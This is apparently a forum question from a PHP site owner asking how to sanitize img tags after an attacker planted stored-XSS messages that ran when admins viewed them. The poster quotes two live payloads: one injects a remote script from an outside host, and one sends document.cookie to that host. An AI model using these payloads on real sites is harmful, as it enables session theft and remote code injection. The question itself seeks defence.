How do we best prevent XSS scripted img / html element injected to our database?
Recently I got a case in our website which is using PHP . Our website got a message service which allows HTML elements and a fraudster was sending message including image tag in the message. The image tag valued the attribute id with 64 base encode string and using decryption method atob to implement his script on our server when our admins are viewing his message.
I intentionally changed the atob function to named_function in the script below as it would trigger an iframe creation on this site.
this is the script. two images was sent in different messages.
< img src=/ id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbHJlY2lwZXMuY2YvaiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs onerror=eval(named_function(this.id))>
< img src=default onerror=eval(String.fromCharCode(116,104,105,115,46,115,114,99,61,39,47,47,108,114,101,99,105,112,101,115,46,99,102,47,105,46,112,104,112,63,95,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))>
The way to understand the encrypted code is using atob method decoding the encrypted codes. It would load a Javascript page which creates an iframe , loads JS and socket.io .
Using socket.io , it seems want to produce a flexible script in the iframe to hack the websites.
below is the decoded result.
My current solution to this is to only allow image with src having image extension.
What is the best way to sanitize the img tag ?
Thanks.
PS.
if this image exists on a webpage , it would constantly produce a socket io connection.